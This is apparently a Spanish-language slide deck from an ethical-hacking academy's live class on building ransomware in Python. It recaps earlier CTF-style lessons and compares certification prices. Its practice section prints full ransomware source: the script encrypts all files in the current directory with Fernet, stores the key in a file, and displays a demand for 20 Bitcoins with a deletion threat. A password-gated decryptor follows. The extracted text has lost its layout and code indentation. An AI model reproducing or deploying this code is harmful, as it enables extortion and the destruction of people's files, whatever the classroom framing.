Está en la página 1de 14

Academia de

Ciberseguridad

"Creando un Ransomware

con Python"
El camino para convertirse

en un profesional del

Hacking Ético 7pm GMT-5


Hora local de:
Cristian Vasco
Transmisión en vivo
por Twitch
Creando un Ransomware

con Python
¿Qué hemos aprendido estos días?

Tips para armar el CV para un


Tips para aprender H.E. en base

puesto de Ciberseguridad a mi experiencia

Tip 1 - Busquen un entrenamiento paso a paso con

una metodología probada y con un profesor que

domine el tema
Tip 2 - No te asustes sino tienes todas las bases,

porque las puedes aprender en el camino


Tip 3 - Aprende mediante máquinas al estilo CTF

(Captura la Bandera)
Tip 4 - Añadan todo lo que aprendan a su hoja de

vida
Tip 5 - Ser persistentes con estudio porque lo van a

lograr
¿Qué hemos aprendido estos días?

Metodología PMG
(Pentesting de Manera Gamificada)
¿Qué hemos aprendido estos días?

¿Qué hicimos?

Recopilación de información con:


OSINTGRAM
Osint framework
Intelx.io
Caso Enumeración y Reconocimiento.
Ataque a servicio FTP obsoleto.
Ataque a Wordpress .
En una auditoría de seguridad se ha logrado comprometer un equipo de la
Cracking de contraseñas.
organización XYZ con varias vulnerabilidades en algunos servicios activos.
Escalación de privilegios.
Vamos a intentar determinar todos los agujeros de seguridad para que la
organización los pueda corregir. ¿Crees que podrás lograrlo?

Bandera1: user.txt
Retos Encontrar:
Bandera2: root.txt
¿Qué hemos aprendido estos días?
¿Qué utilizamos y

aprendimos ?

Definición y conceptos globales de AD


Vulnerabilidad ZeroLogon
Nmap
Crackmapexec
Cracking de contraseñas con john
Secretsdump

Caso

Una infraestructura Active Directory con vulnerabilidades


críticasy política de contraseñas débiles. Una mala
combinación muy común en el mundo real.

Bandera1: user.txt
Retos Encontrar:
Bandera2: root.txt
¿Qué aprenderemos hoy?

¿Qué vamos a

utilizar y aprender ?

Crear un malware con Python.


Descifrar archivos con un script en Python.

Caso
Los archivos de una organización han sido cifrados por un
Gray Hat que quería probar sus habilidades. Nos ha dejado
la contraseña para descifrar los archivos en algún lugar de
nuestro sistema. Podrás encontrarlo?

Retos Encontrar: Bandera1: bandera1.txt


Saboteadores al aprender

Hacking Ético
Debo tener muchas bases de estudio

antes de especializarme en Hacking Ético

Aprender Hacking Ético es muy difícil

No tengo tiempo, lo aprenderé luego

No tengo experiencia por lo tanto no

me van a contratar

No tengo dinero para Capacitarme


Diferencias entre certificaciones

Material en inglés (PDF) -


Material en español (PDF)
Libro 1800 hojas
7 presentaciones descargables
descargable Exámen utilizando Safe Exam
Exámen monitoreado por
Browser
un supervisor 2 intentos para aprobar
Certificaciones iniciales de
1 intento para aprobar
Hacking Ético
Diferencias entre certificaciones

Número de preguntas :
Número de preguntas: 40 en
125 en opción múltiple opción múltiple
Precio normal : 1515$
Precio normal : 200$ incluye
incluye material y
material y voucher
voucher Tiempo: 1 hora
Tiempo: 4 horas Simulador de exámen para
Certificaciones iniciales de
practicar
Hacking Ético
Diferencias entre certificaciones

Laboratorios no
Laboratorios no

descargables descargables
Material PDF descargable Material no descargable
Precio normal: 550$ voucher Precio normal : entre 200$-

400 $ voucher
Certificaciones iniciales de

Hacking Ético
Hora de la

Práctica
Ransomware con Python

1. Descubrir archivos en la carpeta actual


2. Guardar archivos encontrados en una

variable
3. Importar Libreria Fernet usada para

criptografía para generar una clave para

encriptar archivos
4. Guardar clave en un archivo
5. Crear un bucle para encriptar archivos

utilizando la libreria Fernet


Código ransomware
#!/usr/bin/python3

import os,sys
from cryptography.fernet import Fernet

#Encuentra archivos en el directorio actual, añadelos a una lista y encriptalos

archivos = []
archivos_ignorados = [os.path.basename(__file__),'decrypt.py']

#For loop para descubrir archivos en un directorio

if os.path.exists('laclave.txt') == True:
print("El archivo laclave.txt ya existe no se puede encriptar archivos nuevamente")
sys.exit()
else:

for archivo in os.listdir():


if os.path.isfile(archivo) and archivo not in archivos_ignorados:
archivos.append(archivo)

print(archivos)

clave = Fernet.generate_key()

with open("laclave.txt", "wb") as laclave:


laclave.write(clave)

for archivo in archivos:


with open(archivo, "rb") as elarchivo:
contenidos = elarchivo.read()
contenidos_encriptados = Fernet(clave).encrypt(contenidos)
with open(archivo, "wb") as elarchivo:
elarchivo.write(contenidos_encriptados)

print("Todos tus archivos han sido encriptados envia 20 Bitcoins o se eliminaran permanentemente en 2 dias")
Código descifrador
#!/usr/bin/python3

import os,sys
from cryptography.fernet import Fernet

#Encuentra archivos en el directorio actual, añadelos a una lista y encriptalos

archivos = []
archivos_ignorados = [os.path.basename(__file__),'laclave.txt','ransom.py']

#For loop para descubrir archivos en un directorio


for archivo in os.listdir():
if os.path.isfile(archivo) and archivo not in archivos_ignorados:
archivos.append(archivo)

print(archivos)

with open("laclave.txt", "rb") as laclave:


clavesecreta = laclave.read()

palabrasecreta = "redteam"

fraseingresada = input("Escribe la palabra secreta para desencriptar tus archivos\n")

if fraseingresada == palabrasecreta:
for archivo in archivos:
with open(archivo, "rb") as elarchivo:
contenidos = elarchivo.read()
contenidos_desencriptados = Fernet(clavesecreta).decrypt(contenidos)
with open(archivo, "wb") as elarchivo:
elarchivo.write(contenidos_desencriptados)
else:
print("Palabra secreta incorrecta")

También podría gustarte